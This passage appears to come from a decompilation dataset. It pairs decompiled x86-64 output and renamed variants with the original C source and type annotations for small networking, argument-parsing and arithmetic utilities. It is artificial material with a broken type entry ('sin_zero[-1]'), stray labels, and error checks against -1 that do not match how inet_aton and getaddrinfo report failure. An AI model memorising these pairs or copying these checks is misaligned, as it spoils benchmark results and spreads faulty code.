void utility_ctons(char* nstring, const char* cstring, int len)
{
  int i;
  for(i=0; i<len; ++i)
    nstring[i] = cstring[i];
}

canonical_original_code:
void utility_ctons(char *nstring, char *cstring, int len)
{
  int i;
  for(i=0; i<len; ++i)
    nstring[i] = cstring[i];
}

variable_types:
nstring
char *

variable_types:
cstring
char *

variable_types: len int

variable_types: i int


decompiled_code:
int __fastcall utility_create_sockaddr(__int64 a1, const char *a2, __int16 a3)
{
int result; // eax

*(_QWORD *)a1 = 0LL;
*(_QWORD *)(a1 + 8) = 0LL;
if ( !a2 || (result = inet_aton(a2, (struct in_addr *)(a1 + 4)), result != -1) )
{
*(_WORD *)(a1 + 2) = _bswap_16(a3);
*(_WORD *)a1 = 2;
result = 0;
}
return result;
}

canonical_decompiled_code:
int __fastcall func3(__int64 a1, const char *a2, __int16 a3)
{
int result; // eax

*(_QWORD *)a1 = 0LL;
*(_QWORD *)(a1 + 8) = 0LL;
if ( !a2 || (result = inet_aton(a2, (struct in_addr *)(a1 + 4)), result != -1) )
{
*(_WORD *)(a1 + 2) = func2(a3);
*(_WORD *)a1 = 2;
result = 0;
}
return result;
}

original_code:
int utility_create_sockaddr(struct sockaddr_in * addr, const char * ip, port_t port)
{
  memset( addr, 0, sizeof(struct sockaddr_in) );
  if(ip != ((void *)0))
    {
      if( inet_aton(ip, & addr->sin_addr) == -1 ) return -1;
    }
  else
    {
      addr->sin_addr.s_addr = ((in_addr_t) 0x00000000);
    }
  addr->sin_port = htons(port);
  addr->sin_family = 2;
  return 0;
}

canonical_original_code:
int utility_create_sockaddr(struct sockaddr_in *addr, char *ip, unsigned short port)
{
  memset( addr, 0, sizeof(struct sockaddr_in) );
  if(ip != ((void *)0))
    {
      if( inet_aton(ip, & addr->sin_addr) == -1 ) return -1;
    }
  else
    {
      addr->sin_addr.s_addr = ((unsigned int) 0x00000000);
    }
  addr->sin_port = htons(port);
  addr->sin_family = 2;
  return 0;
}

variable_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; } *

variable_types:
ip
char *

variable_types:
port
unsigned short


decompiled_code:
int __fastcall utility_getsockaddr(void *dest, char *name, __int16 a3)
{
int result; // eax
struct addrinfo *v5; // rbp
struct addrinfo *pai; // [rsp+8h] [rbp-50h] BYREF
struct addrinfo req; // [rsp+10h] [rbp-48h] BYREF

*(_QWORD *)&req.ai_flags = 0x200000000LL;
*(_QWORD *)&req.ai_socktype = 0LL;
*(_QWORD *)&req.ai_addrlen = 0LL;
req.ai_addr = 0LL;
req.ai_canonname = 0LL;
req.ai_next = 0LL;
result = getaddrinfo(name, 0LL, &req, &pai);
if ( result != -1 )
{
v5 = pai;
if ( pai )
{
memcpy(dest, pai->ai_addr, pai->ai_addrlen);
*((_WORD *)dest + 1) = _bswap_16(a3);
freeaddrinfo(v5);
result = 0;
}
else
{
result = -1;
}
}
return result;
}

canonical_decompiled_code:
int __fastcall func4(void *dest, char *name, __int16 a3)
{
int result; // eax
struct addrinfo *v5; // rbp
struct addrinfo *pai; // [rsp+8h] [rbp-50h] BYREF
struct addrinfo req; // [rsp+10h] [rbp-48h] BYREF

*(_QWORD *)&req.ai_flags = 0x200000000LL;
*(_QWORD *)&req.ai_socktype = 0LL;
*(_QWORD *)&req.ai_addrlen = 0LL;
req.ai_addr = 0LL;
req.ai_canonname = 0LL;
req.ai_next = 0LL;
result = getaddrinfo(name, 0LL, &req, &pai);
if ( result != -1 )
{
v5 = pai;
if ( pai )
{
memcpy(dest, pai->ai_addr, pai->ai_addrlen);
*((_WORD *)dest + 1) = func2(a3);
freeaddrinfo(v5);
result = 0;
}
else
{
result = -1;
}
}
return result;
}

original_code:
int utility_getsockaddr(struct sockaddr_in * addr, const char * node, port_t port)
{
  struct addrinfo hints = {0, 2, 0, 0, 0, ((void *)0), ((void *)0), ((void *)0)};
  struct addrinfo * res;
  if( getaddrinfo(node, ((void *)0), &hints, &res) == -1 ) return -1;
  if(res == ((void *)0)) return -1;
  else
    {
      memcpy(addr, res->ai_addr, res->ai_addrlen);
      addr->sin_port = htons(port);
      freeaddrinfo(res);
      return 0;
    }
}

canonical_original_code:
int utility_getsockaddr(struct sockaddr_in *addr, char *node, unsigned short port)
{
  struct addrinfo hints = {0, 2, 0, 0, 0, ((void *)0), ((void *)0), ((void *)0)};
  struct addrinfo *res;
  if( getaddrinfo(node, ((void *)0), &hints, &res) == -1 ) return -1;
  if(res == ((void *)0)) return -1;
  else
    {
      memcpy(addr, res->ai_addr, res->ai_addrlen);
      addr->sin_port = htons(port);
      freeaddrinfo(res);
      return 0;
    }
}

variable_types:
node
char *

variable_types: struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr { unsigned short sa_family; char sa_data[14]; } *ai_addr; char *ai_canonname; struct addrinfo *ai_next; } *

user_defined_types: struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr *ai_addr; char *ai_canonname; struct addrinfo *ai_next; }


decompiled_code:
int __fastcall utility_itoa(unsigned int a1, char *a2, int a3)
{
return snprintf(a2, a3, "%d", a1);
}

canonical_decompiled_code:
int __fastcall func5(unsigned int a1, char *a2, int a3)
{
return snprintf(a2, a3, "%d", a1);
}

original_code:
void utility_itoa(int i, char * ascii, int maxlen)
{
  snprintf(ascii, maxlen, "%d", i);
}

canonical_original_code:
void utility_itoa(int i, char *ascii, int maxlen)
{
  snprintf(ascii, maxlen, "%d", i);
}

variable_types:
ascii
char *

variable_types: maxlen int


decompiled_code:
void __fastcall utility_ServerCommandLine(int a1, __int64 a2, _WORD *a3, int *a4)
{
int v7; // eax
int v8; // er14
const char *v9; // rdi
int v10; // er14
const char *v11; // rdi

if ( a1 > 0 )
{
v7 = 0;
while ( 1 )
{
if ( a3 && !strcmp(*(const char **)(a2 + 8LL * v7), "--port") )
{
v10 = v7 + 1;
if ( v7 + 1 >= a1 )
return;
v11 = *(const char **)(a2 + 8LL * v7 + 8);
if ( *v11 != 45 )
{
*a3 = atoi(v11);
v7 = v10;
goto LABEL_8;
}
LABEL_14:
++v7;
}
else
{
if ( !a4 || strcmp(*(const char **)(a2 + 8LL * v7), "--maxpending") )
goto LABEL_8;
v8 = v7 + 1;
if ( v7 + 1 >= a1 )
return;
v9 = *(const char **)(a2 + 8LL * v7 + 8);
if ( *v9 == 45 )
goto LABEL_14;
*a4 = atoi(v9);
v7 = v8;
LABEL_8:
if ( a1 <= ++v7 )
return;
}
}
}
}

canonical_decompiled_code:
void __fastcall func6(int a1, __int64 a2, _WORD *a3, int *a4)
{
int v7; // eax
int v8; // er14
const char *v9; // rdi
int v10; // er14
const char *v11; // rdi

if ( a1 > 0 )
{
v7 = 0;
while ( 1 )
{
if ( a3 && !strcmp(*(const char **)(a2 + 8LL * v7), "--port") )
{
v10 = v7 + 1;
if ( v7 + 1 >= a1 )
return;
v11 = *(const char **)(a2 + 8LL * v7 + 8);
if ( *v11 != 45 )
{
*a3 = atoi(v11);
v7 = v10;
goto LABEL_8;
}
LABEL_14:
++v7;
}
else
{
if ( !a4 || strcmp(*(const char **)(a2 + 8LL * v7), "--maxpending") )
goto LABEL_8;
v8 = v7 + 1;
if ( v7 + 1 >= a1 )
return;
v9 = *(const char **)(a2 + 8LL * v7 + 8);
if ( *v9 == 45 )
goto LABEL_14;
*a4 = atoi(v9);
v7 = v8;
LABEL_8:
if ( a1 <= ++v7 )
return;
}
}
}
}

original_code:
void utility_ServerCommandLine(int argc, char ** argv, port_t * port, int * maxpending)
{
  int i;
  for(i=0; i<argc; ++i)
    {
      if( port != ((void *)0) && !strcmp(argv[i], "--port") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *port = atoi(argv[i]);
  }
     }
 }
      else if( maxpending != ((void *)0) && !strcmp(argv[i], "--maxpending") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *maxpending = atoi(argv[i]);
  }
     }
 }
    }
}

canonical_original_code:
void utility_ServerCommandLine(int argc, char **argv, unsigned short *port, int *maxpending)
{
  int i;
  for(i=0; i<argc; ++i)
    {
      if( port != ((void *)0) && !strcmp(argv[i], "--port") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *port = atoi(argv[i]);
  }
     }
 }
      else if( maxpending != ((void *)0) && !strcmp(argv[i], "--maxpending") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *maxpending = atoi(argv[i]);
  }
     }
 }
    }
}

variable_types: argc int

variable_types:
argv
char **

variable_types:
port
unsigned short *

variable_types:
maxpending
int *


decompiled_code:
void __fastcall utility_ClientCommandLine(int a1, __int64 a2, char *a3, int a4, _WORD *a5, char *a6, int a7)
{
int i; // eax
int v13; // er15
const char *v14; // rsi
int v15; // er15
const char *v16; // rdi
int v17; // er15
const char *v18; // rsi

if ( a1 > 0 )
{
for ( i = 0; ; ++i )
{
while ( a3 && !strcmp(*(const char **)(a2 + 8LL * i), "--host") )
{
v13 = i + 1;
if ( i + 1 >= a1 )
return;
v14 = *(const char **)(a2 + 8LL * i + 8);
if ( *v14 == 45 )
goto LABEL_9;
strncpy(a3, v14, a4);
i = v13;
LABEL_4:
if ( a1 <= ++i )
return;
}
if ( a5 && !strcmp(*(const char **)(a2 + 8LL * i), "--port") )
{
v15 = i + 1;
if ( i + 1 >= a1 )
return;
v16 = *(const char **)(a2 + 8LL * i + 8);
if ( *v16 != 45 )
{
*a5 = atoi(v16);
i = v15;
goto LABEL_4;
}
}
else
{
if ( !a6 || strcmp(*(const char **)(a2 + 8LL * i), "--message") )
goto LABEL_4;
v17 = i + 1;
if ( i + 1 >= a1 )
return;
v18 = *(const char **)(a2 + 8LL * i + 8);
if ( *v18 != 45 )
{
strncpy(a6, v18, a7);
i = v17;
goto LABEL_4;
}
}
LABEL_9:
;
}
}
}

canonical_decompiled_code:
void __fastcall func7(int a1, __int64 a2, char *a3, int a4, _WORD *a5, char *a6, int a7)
{
int i; // eax
int v13; // er15
const char *v14; // rsi
int v15; // er15
const char *v16; // rdi
int v17; // er15
const char *v18; // rsi

if ( a1 > 0 )
{
for ( i = 0; ; ++i )
{
while ( a3 && !strcmp(*(const char **)(a2 + 8LL * i), "--host") )
{
v13 = i + 1;
if ( i + 1 >= a1 )
return;
v14 = *(const char **)(a2 + 8LL * i + 8);
if ( *v14 == 45 )
goto LABEL_9;
strncpy(a3, v14, a4);
i = v13;
LABEL_4:
if ( a1 <= ++i )
return;
}
if ( a5 && !strcmp(*(const char **)(a2 + 8LL * i), "--port") )
{
v15 = i + 1;
if ( i + 1 >= a1 )
return;
v16 = *(const char **)(a2 + 8LL * i + 8);
if ( *v16 != 45 )
{
*a5 = atoi(v16);
i = v15;
goto LABEL_4;
}
}
else
{
if ( !a6 || strcmp(*(const char **)(a2 + 8LL * i), "--message") )
goto LABEL_4;
v17 = i + 1;
if ( i + 1 >= a1 )
return;
v18 = *(const char **)(a2 + 8LL * i + 8);
if ( *v18 != 45 )
{
strncpy(a6, v18, a7);
i = v17;
goto LABEL_4;
}
}
LABEL_9:
;
}
}
}

original_code:
void utility_ClientCommandLine(int argc, char ** argv, char * host, int maxHostLen, port_t *port, char * data, int maxDataLen)
{
  int i;
  for(i=0; i<argc; ++i)
    {
      if( host != ((void *)0) && !strcmp(argv[i], "--host") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    strncpy(host, argv[i], maxHostLen);
  }
     }
 }
      else if( port != ((void *)0) && !strcmp(argv[i], "--port") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *port = atoi(argv[i]);
  }
     }
 }
      else if( data!=((void *)0) && !strcmp(argv[i], "--message") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    strncpy( data, argv[i], maxDataLen);
  }
     }
 }
    }
}

canonical_original_code:
void utility_ClientCommandLine(int argc, char **argv, char *host, int maxHostLen, unsigned short *port, char *data, int maxDataLen)
{
  int i;
  for(i=0; i<argc; ++i)
    {
      if( host != ((void *)0) && !strcmp(argv[i], "--host") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    strncpy(host, argv[i], maxHostLen);
  }
     }
 }
      else if( port != ((void *)0) && !strcmp(argv[i], "--port") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *port = atoi(argv[i]);
  }
     }
 }
      else if( data!=((void *)0) && !strcmp(argv[i], "--message") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    strncpy( data, argv[i], maxDataLen);
  }
     }
 }
    }
}

variable_types:
host
char *

variable_types: maxHostLen int

variable_types:
data
char *

variable_types: maxDataLen int


fact

decompiled_code:
__int64 __fastcall fact(int a1)
{
__int64 v1; // rax
__int64 v2; // rdx

if ( a1 <= 1 )
return 1LL;
v1 = a1;
v2 = 1LL;
do
v2 *= v1--;
while ( v1 != a1 - 1LL - (unsigned int)(a1 - 2) );
return v2;
}

canonical_decompiled_code:
__int64 __fastcall func0(int a1)
{
__int64 v1; // rax
__int64 v2; // rdx

if ( a1 <= 1 )
return 1LL;
v1 = a1;
v2 = 1LL;
do
v2 *= v1--;
while ( v1 != a1 - 1LL - (unsigned int)(a1 - 2) );
return v2;
}

original_code:
long fact(int nb)
{
  int i;
  long res;
  res = 1;
  for (i = nb; i > 1; --i)
    res = res * i;
  return res;
}

variable_types: nb int

variable_types: res long


power

decompiled_code:
__int64 __fastcall power(int a1, int a2)
{
__int64 v2; // rdx
int i; // eax

if ( a2 <= 1 )
return a1;
v2 = a1;
for ( i = 1; i != a2; ++i )
v2 *= a1;
return v2;
}

canonical_decompiled_code:
__int64 __fastcall func1(int a1, int a2)
{
__int64 v2; // rdx
int i; // eax

if ( a2 <= 1 )
return a1;
v2 = a1;
for ( i = 1; i != a2; ++i )
v2 *= a1;
return v2;
}

original_code:
long power(int nb, int puiss)
{
  long res = nb;
  int i;
  for (i=1; i < puiss; ++i)
    res = res * nb;
  return res;
}

variable_types: puiss int

variable_types: i int